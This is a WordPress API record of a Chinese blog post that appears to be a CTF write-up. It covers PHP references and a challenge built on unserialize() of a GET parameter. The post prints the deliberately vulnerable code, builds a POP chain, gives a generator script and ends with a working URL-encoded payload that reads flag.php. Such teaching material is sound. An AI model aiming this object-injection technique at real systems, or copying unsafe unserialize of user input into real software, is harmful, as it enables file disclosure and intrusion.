{"id":2227,"date":"2025-04-03T23:01:41","date_gmt":"2025-04-03T15:01:41","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2227"},"modified":"2025-04-03T23:01:42","modified_gmt":"2025-04-03T15:01:42","slug":"04-%e6%8c%87%e9%92%88%e9%97%ae%e9%a2%98","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/04\/03\/04-%e6%8c%87%e9%92%88%e9%97%ae%e9%a2%98\/","title":{"rendered":"04.\u6307\u9488\u95ee\u9898"},"content":{"rendered":"<h1>\u4e00\u3001\u6307\u9488<\/h1>\n<p>\u7528&amp;\u7b26\u53f7\u53ef\u4ee5\u8fdb\u884c\u6307\u9488\u5f15\u7528\uff0c\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\u3002\u4f8b\u5982\uff1a<\/p>\n<pre><code>$a=&amp;$b;\n<\/code><\/pre>\n<p>\u8fd9\u6837<code>$a<\/code>\u7684\u503c\u4f1a\u968f\u7740<code>$b<\/code>\u7684\u503c\u53d8\u5316\uff0c\u786e\u4fdd\u4e24\u8005\u6c38\u8fdc\u76f8\u7b49\u3002<\/p>\n<h1>\u4e8c\u3001\u4f8b\u9898<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nclass Seri{\n\tpublic $alize;\n\tpublic function __construct($alize){\n\t\t$this-&gt;alize = $alize;\n\t}\n\tpublic function __destruct(){\n\t\t$this-&gt;alize-&gt;getFlag();\n\t}\n}\nclass Alize{\n\tpublic $f;\n\tpublic $tl;\n\tpublic $t2;\n\tfunction __construct($file){\n\techo &quot;Another construction!!&quot;;\n\t$this-&gt;f = $file;\n\t$this-&gt;t1 = $this-&gt;t2 = md5 (rand(1,10000));\n\t}\n\tpublic function getFlag(){\n\t\t$this-&gt;t2 = md5(rand(1,10000)) ;\n\t\techo $this-&gt;t1;\n\t\techo $this-&gt;t2;\n\t\tif($this-&gt;t1 === $this-&gt;t2)\n\t\t{\n\t\t\tif(isset($this-&gt;f)){\n\t\t\t\techo @highlight_file($this-&gt;f,true);\n\t\t\t}\n\t\t}else{\n\t\t\techo &quot;no&quot;;\n\t\t}\n\t}\n}\n$p = $_GET['p'];\nif(isset($p)){\n\t$p = unserialize($p);\n}else{\n\tshow_source(__FILE__);\n\t\/\/echo&quot;NONONO&quot;;\n}\n?&gt;\n<\/code><\/pre>\n<pre><code>\u5934\uff1a$p\n\nSeri-&gt;__destruct() $this-&gt;alize=new Alize\n\n\u5c3e\uff1aAlize-&gt;getFlag() $f='flag.php'\n<\/code><\/pre>\n<p>\u89e3\u9898\u601d\u8def\uff1a<br \/>\n1.\u6784\u9020POP\u94fe\uff0c\u5c31\u8981\u627e\u5230\u5934\u548c\u5c3e\uff0c\u518d\u60f3\u529e\u6cd5\u628a\u5934\u548c\u5c3e\u8fde\u63a5\u8d77\u6765<br \/>\n2.$p \u662f\u7528\u6237\u8f93\u5165\u7684\uff0c\u662f\u53ef\u63a7\u7684\uff0c\u8fd9\u662fPOP\u94fe\u7684\u5934\u90e8<br \/>\n3.\u6700\u7ec8\u76ee\u7684\u662f\u8981\u8bfb\u53d6flag.php\uff0c\u5c31\u8981\u4ece\u6e90\u4ee3\u7801\u4e2d\u9700\u8981\u53ef\u4ee5\u8bfb\u6587\u4ef6\u6216\u8005\u6267\u884c\u7cfb\u7edf\u547d\u4ee4\u7684\u5730\u65b9\u3002 Alize-&gt;getFlag()\u53ef\u4ee5\u8bfb\u53d6\u6587\u4ef6\u3002<\/p>\n<pre><code>echo @highlight_file($this-&gt;f,true);\n<\/code><\/pre>\n<p>\u90a3\u4e48\uff0c\u53ea\u9700\u8981\u4ee4<\/p>\n<pre><code>$this-&gt;f='flag.php';\n$this-&gt;t1 === $this-&gt;t2;\n<\/code><\/pre>\n<p>\u56e0\u6b64 Alize-&gt;getFlag(\uff09\u5c31\u662fPOP\u94fe\u7684\u5c3e\u90e8\u3002<\/p>\n<p>4.\u5982\u4f55\u89e6\u53d1 <code>Alize-&gt;getFlag()<\/code>\u5462\uff1f\u641c\u7d22getFlag\uff0c\u53d1\u73b0 <code>seri-&gt;_destruct()<\/code>\u4e2d\u5b58\u5728\u4ee3\u7801\uff1a<\/p>\n<pre><code>$this-&gt;alize-&gt;-&gt;getFlag();\n<\/code><\/pre>\n<p>\u90a3\u4e48\uff0c\u53ea\u9700\u8981\u4ee4<\/p>\n<pre><code>$this-&gt;alize=new Alize;\n<\/code><\/pre>\n<p>\u8fd9\u6837\u5c31\u5b8c\u6210\u4e86POP\u94fe\u7684\u6784\u9020\u3002<\/p>\n<p>5.\u751f\u6210\u5e8f\u5217\u5316\u6570\u636e<\/p>\n<pre><code class=\"language-php\">&lt;?php  \nclass Seri{  \n    public $alize;  \n\/\/    public function __construct($alize){  \n\/\/        $this-&gt;alize = $alize;  \n\/\/    }  \n\/\/    public function __destruct(){  \n\/\/        $this-&gt;alize-&gt;getFlag();  \n\/\/    }  \n}  \nclass Alize{  \n    public $f = 'flag.php';  \n    public $t1;  \n    public $t2;  \n\/\/  function __construct($file){  \n\/\/        echo &quot;Another construction!!&quot;;  \n\/\/  $this-&gt;f = $file;  \n\/\/  $this-&gt;t1 = $this-&gt;t2 = md5 (rand(1,10000));  \n\/\/  }  \n\/\/  public function getFlag(){  \n\/\/        $this-&gt;t2 = md5(rand(1,10000)) ;  \n\/\/        echo $this-&gt;tl;  \n\/\/        echo $this-&gt;t2;  \n\/\/        if($this-&gt;t1 === $this-&gt;t2)  \n\/\/        {  \n\/\/            if(isset($this-&gt;f)){  \n\/\/                echo @highlight_file($this-&gt;f,true);  \n\/\/            }  \n\/\/        }else{  \n\/\/            echo &quot;no&quot;;  \n\/\/        }  \n\/\/    }  \n}  \n$a = new Alize();  \n$a-&gt;t1 = &amp;$a-&gt;t2;  \n$s = new Seri();  \n$s-&gt;alize = $a;  \necho urlencode(serialize($s));  \n?&gt;\n<\/code><\/pre>\n<p>6.\u5c06payload\u8f93\u5165\u83b7\u53d6flag<\/p>\n<pre><code>O%3A4%3A%22Seri%22%3A1%3A%7Bs%3A5%3A%22alize%22%3BO%3A5%3A%22Alize%22%3A3%3A%7Bs%3A1%3A%22f%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A2%3A%22t1%22%3BN%3Bs%3A2%3A%22t2%22%3BR%3A4%3B%7D%7D\n<\/code><\/pre>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u6307\u9488 \u7528&amp;\u7b26\u53f7\u53ef\u4ee5\u8fdb\u884c\u6307\u9488\u5f15\u7528\uff0c\u7c7b\u4f3c\u4e8eC\u8bed\u8a00\u4e2d\u7684\u6307\u9488\u3002\u4f8b\u5982\uff1a $a=&amp;$b; \u8fd9\u6837$a\u7684\u503c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4,21],"tags":[],"class_list":["post-2227","post","type-post","status-publish","format-standard","hentry","category-web","category-21"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2227","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2227"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2227\/revisions"}],"predecessor-version":[{"id":2228,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2227\/revisions\/2228"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2227"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2227"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2227"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}